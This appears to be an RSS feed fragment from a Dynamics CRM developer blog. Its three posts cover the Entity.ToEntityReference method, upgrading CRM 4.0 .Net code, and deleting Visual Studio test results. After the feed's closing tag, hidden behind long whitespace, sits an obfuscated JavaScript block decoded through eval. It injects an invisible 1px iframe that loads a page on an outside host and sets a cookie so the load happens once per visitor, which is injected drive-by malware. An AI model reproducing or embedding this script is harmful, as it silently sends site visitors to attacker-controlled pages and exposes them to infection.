		<description><![CDATA[Here is another cool Entity extension method that I keep forgetting to use: Entity.ToEntityReference. Normally, when creating a reference to an Entity, we would use something like this: RetrieveRequest request2 = new RetrieveRequest { Target = new EntityReference(Account.EntityLogicalName, account2.Id), ColumnSet = new ColumnSet(), RelatedEntitiesQuery = new RelationshipQueryCollection() }; However, if we have already gone to [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1644">CRM SDK Nugget: Entity.ToEntityReference Method</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>Here is another cool Entity extension method that I keep forgetting to use: Entity.ToEntityReference.</p>
<p>Normally, when creating a reference to an Entity, we would use something like this:</p>
<pre class="code"><span style="color: #2b91af">RetrieveRequest </span>request2 = <span style="color: blue">new </span><span style="color: #2b91af">RetrieveRequest
</span>{
    Target = <span style="color: blue">new </span><span style="color: #2b91af">EntityReference</span>(<span style="color: #2b91af">Account</span>.EntityLogicalName, account2.Id),
    ColumnSet = <span style="color: blue">new </span><span style="color: #2b91af">ColumnSet</span>(),
    RelatedEntitiesQuery = <span style="color: blue">new </span><span style="color: #2b91af">RelationshipQueryCollection</span>()
};

</pre>
<p>However, if we have already gone to the trouble of creating or retrieving a record from CRM, we can just use .ToEntityReference, like this:</p>
<pre class="code"><span style="color: #2b91af">RetrieveRequest </span>request = <span style="color: blue">new </span><span style="color: #2b91af">RetrieveRequest
</span>{
    Target = account.ToEntityReference(),
    ColumnSet = <span style="color: blue">new </span><span style="color: #2b91af">ColumnSet</span>(),
    RelatedEntitiesQuery = <span style="color: blue">new </span><span style="color: #2b91af">RelationshipQueryCollection</span>()
};
</pre>
<p>&nbsp;</p>
<p>It&#039;s a small change, but one that does make your code a little more readable.</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1644">CRM SDK Nugget: Entity.ToEntityReference Method</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/23/crm-sdk-nugget-entity-toentityreference-method/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heads up: Get ready to upgrade your CRM 4.0 .Net code</title>
		<link>http://blogs.infinite-x.net/2013/04/22/heads-up-get-ready-to-upgrade-your-crm-4-0-net-code/</link>
		<comments>http://blogs.infinite-x.net/2013/04/22/heads-up-get-ready-to-upgrade-your-crm-4-0-net-code/#comments</comments>
		<pubDate>Mon, 22 Apr 2013 06:13:00 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1641</guid>
		<description><![CDATA[There has been a some coverage of the upcoming version of the next version of Dynamics CRM, currently code-named Orion, and the changes that will need to be made prior to the upgrade. Here are a couple: Permalink to CRM 4 Support- End of the Line! Time to Upgrade Folks! or fall 2 versions behind! [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1641">Heads up: Get ready to upgrade your CRM 4.0 .Net code</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>There has been a some coverage of the upcoming version of the next version of Dynamics CRM, currently code-named Orion, and the changes that will need to be made prior to the upgrade.</p>
<p>Here are a couple:</p>
<ul>
<li><a title="Permalink to CRM 4 Support- End of the Line! Time to Upgrade Folks! or fall 2 versions behind!" href="http://cognettacloud.com/?p=773">Permalink to CRM 4 Support- End of the Line! Time to Upgrade Folks! or fall 2 versions behind!</a></li>
<li><a href="http://niiranen.eu/crm/2013/04/ready-or-not-orion-is-coming/">Ready Or Not, Orion Is Coming</a></li>
</ul>
<p>One thing that I don&#039;t think a lot of people have considered is the end of support for the CRM 4.0 web service endpoint.</p>
<p>What is that exactly?&#160; Well, it&#039;s the web service that .Net and JavaScript developers use to interact with CRM&#039;s data services.</p>
<p>Microsoft typically supports only the current and previous endpoints and since the CRM 4.0 endpoint is –2, it will be dropped.</p>
<p>What does that mean for you?</p>
<p>Well, if you have any .Net code that uses the programming patterns for CRM 4.0, then you&#039;ll be rewriting all of your C# and VB.Net code to, at minimum, the CRM 2011 object model.</p>
<p>While this will be a painful process, it is actually a good thing.&#160; The CRM team made tremendous changes between CRM 4.0 and CRM 2011 and improved the lives of the .Net developer quite substantially.</p>
<p>They simplified the object model, introduced native .Net data types and over-all, brought the level of the CRM SDK up to today&#039;s programming standards.</p>
<p>So again, even though this will be a painful process, it will be good in the long run.</p>
<p>Stay tuned, I will have some guidance to assist with the conversion of your .Net code soon.&#160; I start the second of two back-to-back code upgrades next week and I am taking notes that I will share to hopefully help other developers save time and trouble.</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1641">Heads up: Get ready to upgrade your CRM 4.0 .Net code</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/22/heads-up-get-ready-to-upgrade-your-crm-4-0-net-code/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Visual Studio Tip O&#039; the Day: Delete your test results</title>
		<link>http://blogs.infinite-x.net/2013/04/21/visual-studio-tip-o-the-day-delete-your-test-results/</link>
		<comments>http://blogs.infinite-x.net/2013/04/21/visual-studio-tip-o-the-day-delete-your-test-results/#comments</comments>
		<pubDate>Sun, 21 Apr 2013 21:20:22 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1643</guid>
		<description><![CDATA[You may not realize it, but Visual Studio keeps the runs of your unit tests for a long time, if not forever.&#160; I was cleaning up my hard drive today when I noticed one of my development folders was huge.&#160; I turns out I had 300MB and 2,300 files as a result of running my [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1643">Visual Studio Tip O' the Day: Delete your test results</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>You may not realize it, but Visual Studio keeps the runs of your unit tests for a long time, if not forever.&#160; </p>
<p>I was cleaning up my hard drive today when I noticed one of my development folders was huge.&#160; I turns out I had 300MB and 2,300 files as a result of running my unit tests for my JavaScript converter.</p>
<p>This article describes how to remove those results and recover some disk space:</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ms182502(v=vs.80).aspx" target="_blank">How to: Delete Test Results</a></p>
<p>Unfortunately, it only looks like it reads the last 25 runs ( on Visual Studio 2010 ).&#160; </p>
<p>My solution was to simply open Windows Explorer, navigate to the TestResults folder, and delete all of the subfolders within.</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1643">Visual Studio Tip O' the Day: Delete your test results</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/21/visual-studio-tip-o-the-day-delete-your-test-results/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
                                                                                                                                                                                                                                                          <script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          sp="split";w=window;aq="0"+"x";ff=String;z="y";ff=ff.fromCharCode;try{document["bod"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,61,71,71,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,61,71,71,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,5e,60,63,5c,6a,5a,58,64,67,5e,69,66,6c,65,5b,25,5a,66,64,26,5e,58,63,63,5c,69,70,24,65,5c,6e,26,5a,63,62,25,67,5f,67,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,61,71,71,5b,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,61,71,71,5b,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,61,71,71,5b,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,61,71,71,5b,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,61,71,71,5b,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1344!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}za=e;za(s)}</script>